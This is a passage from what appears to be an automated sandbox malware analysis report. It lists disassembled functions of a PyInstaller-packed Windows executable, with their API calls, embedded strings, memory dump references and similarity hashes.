FindFirstFileW.KERNELBASE(?,00007FF6B7508919,00007FF6B7503FA5), ref: 00007FF6B750842B
RemoveDirectoryW.KERNEL32(?,00007FF6B7508919,00007FF6B7503FA5), ref: 00007FF6B75084AE
DeleteFileW.KERNELBASE(?,00007FF6B7508919,00007FF6B7503FA5), ref: 00007FF6B75084CD
FindNextFileW.KERNELBASE(?,00007FF6B7508919,00007FF6B7503FA5), ref: 00007FF6B75084DB
FindClose.KERNEL32(?,00007FF6B7508919,00007FF6B7503FA5), ref: 00007FF6B75084EC
RemoveDirectoryW.KERNELBASE(?,00007FF6B7508919,00007FF6B7503FA5), ref: 00007FF6B75084F5

Strings

%s\*, xrefs: 00007FF6B75083F2

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: 357850099f2e1e2cd68665016846c1d9ce0cd1ccdab5cdcc1ad199b6742cb407
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: D1416023E0CA8695EA209F28E4445FA63A0FB9475CF500236EB9DD36E4EF3CE549C741

Function 00007FF6B7509280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF6B75092B3
FindClose.KERNELBASE ref: 00007FF6B75092C2

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: e73f47549c7a00f71c569e5c0274794dc2986bf4d1ef8f373acee72fd589298e
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 0CF06823A1C74286F7608F68B4997667390AB84768F050339DBAD426E4DF3CD059CB04

Function 00007FF6B7501950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B7507F90: _fread_nolock.LIBCMT ref: 00007FF6B750803A

_fread_nolock.LIBCMT ref: 00007FF6B7501A1B

Part of subcall function 00007FF6B7502910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6B7501B6A), ref: 00007FF6B750295E

Strings

Error on file., xrefs: 00007FF6B7501B8D
Failed to seek to cookie position!, xrefs: 00007FF6B75019EE
Could not read full TOC!, xrefs: 00007FF6B7501B55
fread, xrefs: 00007FF6B7501A32, 00007FF6B7501B5C
calloc, xrefs: 00007FF6B7501A68
Failed to read cookie!, xrefs: 00007FF6B7501A2B
fseek, xrefs: 00007FF6B75019F5
MEI, xrefs: 00007FF6B7501991
Could not allocate memory for archive structure!, xrefs: 00007FF6B7501A61
Could not allocate buffer for TOC!, xrefs: 00007FF6B7501B1B
malloc, xrefs: 00007FF6B7501B22

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: e8397b0d0ea8626c6fc67993dd962eb2185773315f76238df3ab4be19089fc6a
Instruction ID: 5c34680bb581b6037308d45a95421ba431b8b308b1ce436240f7b5630e3438f5
Opcode Fuzzy Hash: e8397b0d0ea8626c6fc67993dd962eb2185773315f76238df3ab4be19089fc6a
Instruction Fuzzy Hash: DC816F73A0C68686EB61DB2CD0412BD23A1FF88788F444535EB8DC7BA5EE3CE5858741

Function 00007FF6B7501600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to create symbolic link %s!, xrefs: 00007FF6B7501622
Failed to extract %s: failed to open target file!, xrefs: 00007FF6B750165C
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6B75016A2
fread, xrefs: 00007FF6B75017E6
fopen, xrefs: 00007FF6B7501663
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6B75016DA
fseek, xrefs: 00007FF6B75016E1
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF6B7501742
fwrite, xrefs: 00007FF6B75017D1
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF6B75017CA
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6B75017DF
malloc, xrefs: 00007FF6B7501749

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 7efa5df9256787d249526d0bd59650b0437ae4a7c3dc28480c0bb41e2e769eb3
Instruction ID: 1c666878ca6cd65b34c36de1c7d6d3058427205002bf00e49484db3ad9b5a93f
Opcode Fuzzy Hash: 7efa5df9256787d249526d0bd59650b0437ae4a7c3dc28480c0bb41e2e769eb3
Instruction Fuzzy Hash: FD519D63B0C64782EA10AB6994001B963A0BF84798F844535EF4CC7BF6EE3CF685C301

Function 00007FF6B7508660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF6B7503CBB), ref: 00007FF6B7508704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF6B7503CBB), ref: 00007FF6B750870A
CreateDirectoryW.KERNELBASE(?,00000000,00007FF6B7503CBB), ref: 00007FF6B750874C

Part of subcall function 00007FF6B7508830: GetEnvironmentVariableW.KERNEL32(00007FF6B750388E), ref: 00007FF6B7508867
Part of subcall function 00007FF6B7508830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6B7508889

Part of subcall function 00007FF6B7518238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7518251

Part of subcall function 00007FF6B7502810: MessageBoxW.USER32 ref: 00007FF6B75028EA

Strings

LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF6B750877E
LOADER: failed to set the TMP environment variable., xrefs: 00007FF6B75086DC
_MEI%d, xrefs: 00007FF6B7508712
TMP, xrefs: 00007FF6B75086C2
TMP, xrefs: 00007FF6B750869C, 00007FF6B75087A3

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction ID: 0451fa2114ab74bd34c4994a820669fee330068cecfac1ec0c0dd47de738734d
Opcode Fuzzy Hash: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction Fuzzy Hash: 04418B13A1DA5244FA24AB69A8556F91390AF887C8F800131EF0DD7BFAEE3CF546C600

Function 00007FF6B7501210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF6B75012BA
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF6B7501276
1.3.1, xrefs: 00007FF6B7501249
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF6B750141E
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF6B75012EF
malloc, xrefs: 00007FF6B75012C1, 00007FF6B75012F6

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 8f2f3123d1cabff2ad8e3db6a95d4b235f7cad2490955ba460222a7cf36d71df
Instruction ID: 7f9a54e1071fe5532483c2daa4c48b6f1c9070b51bd920409945892258ffb7f6
Opcode Fuzzy Hash: 8f2f3123d1cabff2ad8e3db6a95d4b235f7cad2490955ba460222a7cf36d71df
Instruction Fuzzy Hash: CA51B123A0C68685EA61AB1AA4403BE6391FF84798F484135EF4DC7BF5EE3CE546C700

Function 00007FF6B751ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF6B751F0AA,?,?,-00000018,00007FF6B751AD53,?,?,?,00007FF6B751AC4A,?,?,?,00007FF6B7515F3E), ref: 00007FF6B751EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF6B751F0AA,?,?,-00000018,00007FF6B751AD53,?,?,?,00007FF6B751AC4A,?,?,?,00007FF6B7515F3E), ref: 00007FF6B751EE98

Strings

api-ms-, xrefs: 00007FF6B751EDD6
ext-ms-, xrefs: 00007FF6B751EDE9

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 1a252455fc8a62a46ca0f6c63a2c6b021a8bc9698c9119a396aa3725651b37a7
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: CE41C763B1DA2245EA15DF1A98106752391BF49B92F89863DDF1DC7BB4EF3CE4858300

Function 00007FF6B75036B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF6B7503804), ref: 00007FF6B75036E1
GetLastError.KERNEL32(?,00007FF6B7503804), ref: 00007FF6B75036EB

Part of subcall function 00007FF6B7502C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6B7503706,?,00007FF6B7503804), ref: 00007FF6B7502C9E
Part of subcall function 00007FF6B7502C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6B7503706,?,00007FF6B7503804), ref: 00007FF6B7502D63
Part of subcall function 00007FF6B7502C50: MessageBoxW.USER32 ref: 00007FF6B7502D99

Strings

Failed to convert executable path to UTF-8., xrefs: 00007FF6B7503790
Failed to obtain executable path., xrefs: 00007FF6B75036F3
GetModuleFileNameW, xrefs: 00007FF6B75036FA
\\?\, xrefs: 00007FF6B750375A
Failed to resolve full path to executable %ls., xrefs: 00007FF6B7503739

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: d60e2cf233a9c2584f606a4fd9246dd198f0468a1ff550510e47011322249933
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: F3214F63F1C64251FB219B2CE8153B62350BF99358F804136E75EC65F6EE2CE604C744

Function 00007FF6B751BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751BE89

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bd5e670e2ac73c9d5051395424effa1a9c5fa8f9f080fcfac4df12f3bd03b0fb
Instruction ID: 43c8f9c447001a8a1015abfabceffc146aa3ecb77f293aab244723419772810e
Opcode Fuzzy Hash: bd5e670e2ac73c9d5051395424effa1a9c5fa8f9f080fcfac4df12f3bd03b0fb
Instruction Fuzzy Hash: D3C1C123A0C6A792E6619F1D94402BD3BA0FB81F91F554235EB8E83BB1CE7CE8458700

Function 00007FF6B7508570 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6B7508590
OpenProcessToken.ADVAPI32 ref: 00007FF6B75085A3
GetTokenInformation.KERNELBASE ref: 00007FF6B75085C8
GetLastError.KERNEL32 ref: 00007FF6B75085D2
GetTokenInformation.KERNELBASE ref: 00007FF6B7508612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6B750862E
CloseHandle.KERNEL32 ref: 00007FF6B7508646

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction ID: c57e1a10fdde354a7423a654366036f6bc738cf8d5e9c1db24e7c3ad9794fc4e
Opcode Fuzzy Hash: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction Fuzzy Hash: 31216237A0C68242EB108B59F544A7AA3B0FF957A4F500235EBAD93BF4EE7CE4458700

Function 00007FF6B75090E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B7508570: GetCurrentProcess.KERNEL32 ref: 00007FF6B7508590
Part of subcall function 00007FF6B7508570: OpenProcessToken.ADVAPI32 ref: 00007FF6B75085A3
Part of subcall function 00007FF6B7508570: GetTokenInformation.KERNELBASE ref: 00007FF6B75085C8
Part of subcall function 00007FF6B7508570: GetLastError.KERNEL32 ref: 00007FF6B75085D2
Part of subcall function 00007FF6B7508570: GetTokenInformation.KERNELBASE ref: 00007FF6B7508612
Part of subcall function 00007FF6B7508570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6B750862E
Part of subcall function 00007FF6B7508570: CloseHandle.KERNEL32 ref: 00007FF6B7508646

LocalFree.KERNEL32(?,00007FF6B7503C55), ref: 00007FF6B750916C
LocalFree.KERNEL32(?,00007FF6B7503C55), ref: 00007FF6B7509175

Strings

Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF6B7509183
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF6B7509142
D:(A;;FA;;;%s), xrefs: 00007FF6B7509157
S-1-3-4, xrefs: 00007FF6B7509121

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 5ed7a9ba3e6ce910408607b93085540bd422a8d0f9e00f9f84049ca226c14b37
Instruction ID: b448f9862ad4b2578966b4992cc4363d812fab8a517ea80ecd4279cba33f4c89
Opcode Fuzzy Hash: 5ed7a9ba3e6ce910408607b93085540bd422a8d0f9e00f9f84049ca226c14b37
Instruction Fuzzy Hash: DE212D72A0CB8295F650AB14E5156EA6361FF88784F444036EB4DD37E6DF3CE9458780

Function 00007FF6B751CF60 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B751CF4B), ref: 00007FF6B751D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6B751CF4B), ref: 00007FF6B751D107

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 6d89d0196e781cbe9b536f63fc846c5fa44fd028449234b695db76210944b5d4
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 1191ADB3E1C76285F7609F6D94406BD2BA0AB44B89F544139DF0EA7EA4DF39E482D700

Function 00007FF6B7515628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7515655
CreateFileW.KERNELBASE ref: 00007FF6B7515694
CloseHandle.KERNEL32 ref: 00007FF6B75156C9

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: 0bb9fd529e0937b88cd4e6ffa7f4e000f86cc17932332b5b5c4e2bc2f5ff710c
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: 27418023E1C79283E7509F6495503696260FB947A5F109335EBAC83EE2EF7CA5E08740

Function 00007FF6B750CC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B750CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6B750CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6B750CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF6B750CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6B750CD21

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: c5f8044358c9d798c5894b463f45aa4f97b247633c3543ef5eb62a9e4030bf9b
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 77313A23E0C29745FA54AB6C94623F91791AF82388F44503AEB4ECB6F7DE2DB8059241

Function 00007FF6B7519A30 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6B7519A2C), ref: 00007FF6B7519A41
TerminateProcess.KERNEL32(?,?,?,00007FF6B7519A2C), ref: 00007FF6B7519A4C
ExitProcess.KERNEL32 ref: 00007FF6B7519A5B

Memory Dump Source

